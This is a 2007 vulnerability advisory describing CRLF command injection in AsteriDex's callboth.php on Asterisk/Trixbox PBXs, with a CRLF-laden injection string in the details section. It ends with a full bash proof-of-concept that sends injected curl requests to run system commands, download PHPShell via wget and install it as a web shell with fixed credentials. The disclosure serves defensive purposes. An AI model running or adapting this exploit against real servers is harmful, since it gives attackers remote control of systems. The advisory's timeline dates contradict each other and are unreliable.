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TUCoPS :: Asterisk :: tb11530.htm

AsteriDex (Asterisk / Trixbox) remote code execution



AsteriDex (Asterisk / Trixbox) remote code execution
AsteriDex (Asterisk / Trixbox) remote code execution



_______________________________________________________________________________

                                Hoku Security 
                            
                            Vulnerability Advisory
_______________________________________________________________________________


Title:        AsteriDex remote command execution
Vendor URL: http://bestof.nerdvittles.com/applications/asteridex/ 
Type:         Command injection / remote code execution
Vulnerable 
  versions:   <= 3.0
Risk factor:  High
Popularity:   Low
Author:       Carl Livitt
Contact: carl@hoku.co.uk 
Date:         25th June, 2007
Location: http://www.hoku.co.uk/advisories/asteridex.txt 


_______________________________________________________________________________

Description:


AsteriDex is a digital rolodex for Asterisk / Trixbox PBXs. There is a
command injection vulnerability which allows unauthenticated users to 
execute arbitrary commands on the Asterisk management console. Such
access permits execution of arbitrary operating system commands as the
'asterisk' user.

The software is vulnerable in its default configuration.


_______________________________________________________________________________

Details:


The script 'callboth.php' is used by AsteriDex to bridge a VOIP call
between two end-points. Insufficient parameter checking is done on the
variables IN and OUT, allowing a malicious user to inject arbitrary
commands into the Asterisk management console. 

The script works by logging into the console server on port 5038/TCP 
on localhost. It then issues an 'Action: Originate' command which is 
used to setup the bridged call. The relevant code from callboth.php is:

  fputs ($fp, "Action: login\r\n");
  fputs ($fp, "Username: phpagi\r\n");
  fputs ($fp, "Secret: phpagi\r\n");
  fputs ($fp, "Events: off\r\n\r\n");
  sleep(1) ;
  fputs ($fp, "Action: Originate\r\n");
  fputs ($fp, "Channel: $IN\r\n");              << Command injection
  fputs ($fp, "Context: custom-callboth\r\n");
  fputs ($fp, "Exten: $OUT\r\n");               << Command injection
  fputs ($fp, "Priority: 1\r\n\r\n");

$IN is set from $_GET['IN'] with no sanity checking other than a test of
string length; all strings passed to $IN must be less than 100 chars,
including the string 'sip/' which is prepended to $IN prior to the length
check.

Given sane values of $IN=123, $out=321 and $CallerID=567, the session would
look like this:

  Action: login
  Username: phpagi
  Secret: phpagi
  Events: off
  
  Action: Originate
  Channel: 123
  Context: custom-callboth
  Exten: 321
  Priority: 1
  
By including CRLF characters in $IN, an attacker can inject arbitrary 
commands into the data stream, hijacking the authenticated session to run
commands of the attackers choice. Take, for example, a $IN string containing:

190@example.com\r\nApplication: System\r\nData: echo pwn3d > /tmp/hoku.txt\r\n 
  
This would transform the session into:

  Action: login
  Username: phpagi
  Secret: phpagi
  Events: off
  
  Action: Originate
Channel: 190@example.com 
  Application: System
  Data: echo pwn3d > /tmp/hoku.txt
  
  Context: custom-callboth
  Exten: 321
  Priority: 1

This would use the call manager's 'System' functionality to execute user-
supplied operating system commands, in this case writing the word "pwn3d" to a
file called "/tmp/hoku.txt". The rest of the session would fail because the 
attacker has subverted the original 'Action', rendering the remaining commands 
meaningless to the manager.


______________________________________________________________________________

Updated Versions:


A patched version of AsteriDex is available from:

http://bestof.nerdvittles.com/applications/asteridex/ 
    
    
_______________________________________________________________________________

Timeline:


mm/dd/yyyy
----------
06/25/2007    Vendor contacted.
06/03/2007    Vendor contacted again, response received.
              Details sent to vendor.
06/03/2007    Patch issued and updated version available.
06/05/2007    Advisory released.


_______________________________________________________________________________

Hoku Security:

Our aim is to give you the business assurance that you require in order to 
maintain a secure company infrastructure. With clients across the globe in the 
UK and USA, we understand the threats posed to your business and provide best of 
breed consulting and solutions to secure your interests and protect your bottom 
line.

Visit http://www.hoku.co.uk for more information and contact details. 

_______________________________________________________________________________

Exploit:


A proof of concept is provided. It downloads PHPshell, installs it into the root 
of the vulnerable Asterisk server's web directory and sets a username/password of
trixbox/trixbox. It obeys the 100 char max restriction.

## 
## Begin exploit
##
#!/bin/bash

echo Asteridex PoC Exploit (callboth.php vulnerability)
echo By Carl Livitt / Hoku Security / June 2007
echo 

# This has to be (a) a valid SIP address, and (b) must answer when dialled.
# The exploit will fail without these conditions being met.
# Currently uses the Melonite SIP echo test service.
SIP="190@sip.melonite.nu" 

# Magic number, don't change. The default installation of AsteriDex checks
# for this number and fails without it.
SEQ=654321

# Other stuff we need
LOC=/asteridex/callboth.php
OUT=123456

# Sanity
if [ "$1X" == "X" ]; then
	echo Syntax: $0 \
echo For example: $0 www.example.com:8080 
	exit 1
fi

# Insanity
echo "[-] Exploiting host $1 - please wait"
echo -n '[+]' Building shell script
curl "http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20echo%20\!/bin/sh>/tmp/t%0d%0a" &>/dev/null 
echo -n .
curl "http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20echo%20%2dn%20wget%20%2dO%20x.tar.bz2%20%5c%27http://%3e%3e/tmp/t%0d%0a" &>/dev/null 
echo -n .
curl "http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20echo%20%2dn%20prdownloads.sf.net/phpshell/%3e%3e/tmp/t%0d%0a" &>/dev/null 
echo .
curl "http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20echo%20phpshell%2d2.1.tar.bz2%3fdownload%5c%27%3e%3e/tmp/t%0d%0a" &>/dev/null 
echo '[+] Executing shell script'
curl "http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20cd%20/tmp;chmod%20%2bx%20t;./t;tar%20jxf%20x.tar.bz2%0d%0a" &>/dev/null 
echo -n '[+] Setting up phpshell'
curl "http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20cd%20cd%20/tmp;mv%20phpshell-2.1%20p%0d%0a" &>/dev/null 
echo -n .
curl "http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20cd%20/tmp/p;echo%20%5c%5busers%5c%5d>config.php%0d%0a" &>/dev/null 
echo -n .
curl "http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20cd%20/tmp/p;echo%20%27trixbox%3d%22trixbox%22%27>>config.php%0d%0a" &>/dev/null 
echo .
curl "http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20mv%20/tmp/p%20/var/www/html/phpshell%0d%0a" &>/dev/null 

# Have a nice day
echo "Done! You should now be able to browse to http://$1/phpshell/phpshell.php" 
echo You can login with the username \'trixbox\' and password \'trixbox\'

##
## End Exploit
##






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